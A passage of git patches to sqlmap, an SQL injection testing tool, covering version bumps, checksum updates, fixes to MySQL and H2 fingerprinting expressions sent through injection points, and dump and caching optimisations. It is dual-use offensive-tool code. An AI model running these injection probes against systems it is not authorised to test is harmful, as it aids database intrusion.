lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -342,7 +342,7 @@ fd9d9030d054b9b74cf6973902ca38b0a6cad5898b828366162df6bdc8ea10d2 plugins/dbms/f ed39a02193934768cf65d86f9424005f60e0ef03052b5fea1103c78818c19d45 plugins/dbms/h2/connector.py 8556f37d4739f8eafcde253b2053d1af41959f6ec09af531304d0e695e3eed6b plugins/dbms/h2/enumeration.py 080b0c1173ffe7511dc6990b6de8385b5e63a5c19b8d5e2d04de23ac9513a45c plugins/dbms/h2/filesystem.py -d08c1a912f8334c3e706b598db2869edbb1a291a2ccb00c9523ee371de9db0d0 plugins/dbms/h2/fingerprint.py +355f941c74cbd0d43726408970aab9518f50f588e780aa764ed237e4bc0c3316 plugins/dbms/h2/fingerprint.py 94ee6a0f41bb17b863a0425f95c0dcf90963a7f0ed92f5a2b53659c33b5910b8 plugins/dbms/h2/__init__.py 9899a908eb064888d0e385156395d0436801027b2f4a9846b588211dc4b61f83 plugins/dbms/h2/syntax.py 53951b2ba616262df5a24aa53e83c1e401d7829bd4b7386dd07704fd05811de2 plugins/dbms/h2/takeover.py @@ -471,7 +471,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi 546486bd4221729d7d85b6ce3dbc263c818d091c67774bd781d7d72896eb733b plugins/generic/search.py 9be0e2f931b559052518b68511117d6d6e926e69e463ddfa6dc8e9717c0ca677 plugins/generic/syntax.py 7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py -115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py +cbc7684de872fac4baeabd1fce3938bc771316c36e54d69ac6a301e8a99f07b2 plugins/generic/users.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py f5cad477023c8145c4db7aa530976fc75b098cf59a49905f28d02f6771fd9697 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 14b012db311..d169832b782 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -770,8 +770,8 @@ - - + + @@ -786,8 +786,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 91763d82d77..dc6927b2a13 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.7" +VERSION = "1.9.12.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 524731b6b05..e6e26aa5366 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -103,6 +103,10 @@ def checkDbms(self): else: setDbms(DBMS.H2) + result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") + version = '2' if result else '1' + Backend.setVersion(version) + self.getBanner() return True diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 4e50bac1e37..18ae477ed43 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -13,6 +13,7 @@ from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges +from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNullValue @@ -104,6 +105,7 @@ def getUsers(self): condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): From 1a7538ae0fb03a9f93e1b2b6d13e48bf791dc2c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 02:33:56 +0100 Subject: [PATCH 249/853] Minor patch for Apache Derby --- data/txt/sha256sums.txt | 4 ++-- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8188d331b8e..cd9ea3111d3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -83,7 +83,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -dd0ee0fac1a4f7fdbecc8fcceb0a1a4e2d15cec3847198740a1994851c56ad27 data/xml/queries.xml +eeaec8f6590db3315a740b04f21fed8ae229d9d0ef8b85af5ad83a905e9bfd6e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -b1b416ae195be51eadd8f31be271f5774eed1dc8d90cb5e7421d2f60ca9ff26f lib/core/settings.py +ff7faea73b5ed207c8b5648dd5ce03d8bee4e06801f7c70bd95d6eb7d0023cc1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index d169832b782..d497f3d8cf2 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -946,8 +946,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index dc6927b2a13..38fe9000cc0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.8" +VERSION = "1.9.12.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 870e11a38e5080446b12333b8bcaf5e60553d45d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 02:52:39 +0100 Subject: [PATCH 250/853] Minor optimization --- data/txt/sha256sums.txt | 4 ++-- lib/core/dump.py | 7 +++++-- lib/core/settings.py | 5 ++++- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index cd9ea3111d3..b2250c14926 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -174,7 +174,7 @@ ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datat 1d70d75a1c1a2a0ad295f727ee9f1d90cea851dfc2f8c9a85ef79c7975007ead lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py ce6e1c1766acd95168f7708ddcacaa4a586c21ffc9e92024c4715611c802b60c lib/core/dicts.py -4f1b858d433daa6f898d5ded54066cad63fab7ee245ad9eb1613c626448d5a0e lib/core/dump.py +1e801218f301968181cb876ca27bace622b8646f041bdab72cda5d6a57542408 lib/core/dump.py 2ca709fb52b4a1bc83cfe2acdad7e7d4dca1fee6a775e9290f0f1f517955d0b9 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py 1c48804c10b94da696d3470efbd25d2fff0f0bbf2af0101aaac8f8c097fce02b lib/core/gui.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -ff7faea73b5ed207c8b5648dd5ce03d8bee4e06801f7c70bd95d6eb7d0023cc1 lib/core/settings.py +ee57c7420ef2648450c540411f881a4807fcf1be70fefabfa701f3200340c99e lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/dump.py b/lib/core/dump.py index 269d13f6789..37baf2c10c3 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -45,6 +45,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.replication import Replication +from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN @@ -509,7 +510,8 @@ def dbTableValues(self, tableValues): if column != "__infos__": colType = Replication.INTEGER - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -522,7 +524,8 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue diff --git a/lib/core/settings.py b/lib/core/settings.py index 38fe9000cc0..9992ad947cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.9" +VERSION = "1.9.12.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -790,6 +790,9 @@ # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 +# Threshold for checking types of columns in case of SQLite dump format +CHECK_SQLITE_TYPE_THRESHOLD = 100 + # Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") From 7a21109ad0acc87f0c08b803705678f4438ef71f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 14:11:57 +0100 Subject: [PATCH 251/853] Bug fix for fingerprinting MySQL --- data/txt/sha256sums.txt | 6 +++--- lib/core/dicts.py | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b2250c14926..b4e828119c1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -173,7 +173,7 @@ ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data. ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 1d70d75a1c1a2a0ad295f727ee9f1d90cea851dfc2f8c9a85ef79c7975007ead lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py -ce6e1c1766acd95168f7708ddcacaa4a586c21ffc9e92024c4715611c802b60c lib/core/dicts.py +bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py 1e801218f301968181cb876ca27bace622b8646f041bdab72cda5d6a57542408 lib/core/dump.py 2ca709fb52b4a1bc83cfe2acdad7e7d4dca1fee6a775e9290f0f1f517955d0b9 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -ee57c7420ef2648450c540411f881a4807fcf1be70fefabfa701f3200340c99e lib/core/settings.py +b99f7125c2b73e9aa026a4c915b07ba5668bd72d3c85d7078e14aede79a6d3e8 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -399,7 +399,7 @@ bb0edf756903d8a9df7b60272541768102c64e562e6e7a356c5a761b835efde3 plugins/dbms/m d471eb61a33bd3aa1290cdcce40a5966ebc84af79970f75e8992a2688da4be42 plugins/dbms/mysql/connector.py 1e29529d6c4938a728a2d42ef4276b46a40bf4309570213cf3c08871a83abdc1 plugins/dbms/mysql/enumeration.py 200b2c910e6902ef8021fe40b3fb426992a016926414cbf9bb74a3630f40842d plugins/dbms/mysql/filesystem.py -55da8384ba32fe9b69022c8d5429acfacd4d44e55c14f902818d6794ed1bd0a2 plugins/dbms/mysql/fingerprint.py +49e39e43e4f45f69d5a7b384c00deb09c5e474d535eb30b0a429519ec6e1bcc7 plugins/dbms/mysql/fingerprint.py 88daad9cf2f62757949cb27128170f33268059e2f0a05d3bd9f75417b99149de plugins/dbms/mysql/__init__.py 20108fe32ae3025036aa02b4702c4eda81db01c04a2e0e2e4494d8f1b1717eca plugins/dbms/mysql/syntax.py 91f34b67fe3ad5bfa6eae5452a007f97f78b7af000457e9d1c75f4d0207f3d39 plugins/dbms/mysql/takeover.py diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 8d929e4214d..caefa5fc8a3 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -270,7 +270,7 @@ DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "IIF(1=1,DIFFERENCE(NULL,NULL),0)", - DBMS.MYSQL: "QUARTER(NULL XOR NULL)", + DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", @@ -282,7 +282,7 @@ DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite DBMS.CUBRID: "(NULL SETEQ NULL)", DBMS.CACHE: "%SQLUPPER NULL", DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", diff --git a/lib/core/settings.py b/lib/core/settings.py index 9992ad947cc..f93fbc0570e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.10" +VERSION = "1.9.12.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 57a6b8fd827..878ee75ad66 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -187,7 +187,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL") + result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL From bcabe55fc3ba1c0d4afa80dae6acca0ac23dcbbd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 22:15:06 +0100 Subject: [PATCH 252/853] Minor optimizations --- data/txt/sha256sums.txt | 8 ++++---- lib/core/convert.py | 2 +- lib/core/decorators.py | 3 ++- lib/core/settings.py | 2 +- lib/utils/hash.py | 2 ++ 5 files changed, 10 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b4e828119c1..883ddd06c54 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,10 +168,10 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py d81080a7223e3d2ffd2a063f7c5b49ab9f25294ed70a0fbdf42d0c0df3551bb3 lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py -463005de14642fef4251c951c9b24ec8d456f67f0cd98a9f4d6add281ccbb775 lib/core/convert.py +5a2607c9ffd48e6ae98fb142590ad9f588e19064fa84d6f5e662891228edc0fe lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py -1d70d75a1c1a2a0ad295f727ee9f1d90cea851dfc2f8c9a85ef79c7975007ead lib/core/decorators.py +38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py 1e801218f301968181cb876ca27bace622b8646f041bdab72cda5d6a57542408 lib/core/dump.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -b99f7125c2b73e9aa026a4c915b07ba5668bd72d3c85d7078e14aede79a6d3e8 lib/core/settings.py +8381dd987e4c43d9a3459843577109f501cbfb43e049dcd889167d65a3c18726 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -248,7 +248,7 @@ af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brut 3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py 4979120bbbc030eaef97147ee9d7d564d9683989059b59be317153cdaa23d85b lib/utils/har.py 00135cf61f1cfe79d7be14c526f84a841ad22e736db04e4fe087baeb4c22dc0d lib/utils/hashdb.py -d1b4cea5658c0936e2003f01fbf7a9e6f6d6cd8503815cb2c358ed0c0e2f147f lib/utils/hash.py +8c9caffbd821ad9547c27095c8e55c398ea743b2e44d04b3572e2670389ccf5b lib/utils/hash.py ba862f0c96b1d39797fb21974599e09690d312b17a85e6639bee9d1db510f543 lib/utils/httpd.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/utils/__init__.py f1d84b1b99ce64c1ccb64aaa35f5231cf094b3dac739f29f76843f23ee10b990 lib/utils/pivotdumptable.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 72c1ce79ae9..22722a4b911 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -472,7 +472,7 @@ def getConsoleLength(value): """ if isinstance(value, six.text_type): - retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value) + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 196abd883f1..309b54a6fd5 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -7,6 +7,7 @@ import functools import hashlib +import struct import threading from lib.core.datatype import LRUDict @@ -47,7 +48,7 @@ def _f(*args, **kwargs): "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) ) try: - key = int(hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff + key = struct.unpack(">Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index f93fbc0570e..640feb94eff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.11" +VERSION = "1.9.12.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 458c17c7abe..78cc7e4a6ae 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -65,6 +65,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX @@ -784,6 +785,7 @@ def attackDumpedTable(): table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) +@cachedmethod def hashRecognition(value): """ >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC From e0ae53091f69804a82114fe62b0556a6d990cf67 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 22:35:58 +0100 Subject: [PATCH 253/853] Minor improvements --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 4 ++-- lib/core/dump.py | 12 ++++++------ lib/core/settings.py | 7 +++++-- 4 files changed, 16 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 883ddd06c54..bfffb1217ae 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -d81080a7223e3d2ffd2a063f7c5b49ab9f25294ed70a0fbdf42d0c0df3551bb3 lib/core/common.py +8351843afaf565baeed4b97b45f35366f8305c4bf5f9fe1025db87782f72f916 lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py 5a2607c9ffd48e6ae98fb142590ad9f588e19064fa84d6f5e662891228edc0fe lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py @@ -174,7 +174,7 @@ ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datat 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py -1e801218f301968181cb876ca27bace622b8646f041bdab72cda5d6a57542408 lib/core/dump.py +2b2a680fdf238b72baa3ae07d41db2f19889719f06014f0950550e226364406f lib/core/dump.py 2ca709fb52b4a1bc83cfe2acdad7e7d4dca1fee6a775e9290f0f1f517955d0b9 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py 1c48804c10b94da696d3470efbd25d2fff0f0bbf2af0101aaac8f8c097fce02b lib/core/gui.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -8381dd987e4c43d9a3459843577109f501cbfb43e049dcd889167d65a3c18726 lib/core/settings.py +daa549b47d1a942ffa26863483fb5d5d40b2c1b0ad4c16e92e426399e18d714a lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index e315a8b03d0..893a2aa47e8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -104,7 +104,7 @@ from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import BANNER -from lib.core.settings import BOLD_PATTERNS +from lib.core.settings import BOLD_PATTERNS_REGEX from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES @@ -959,7 +959,7 @@ def boldifyMessage(message, istty=None): retVal = message - if any(_ in message for _ in BOLD_PATTERNS): + if re.search(BOLD_PATTERNS_REGEX, message): retVal = setColor(message, bold=True, istty=istty) return retVal diff --git a/lib/core/dump.py b/lib/core/dump.py index 37baf2c10c3..2d1efff6b47 100644 --- 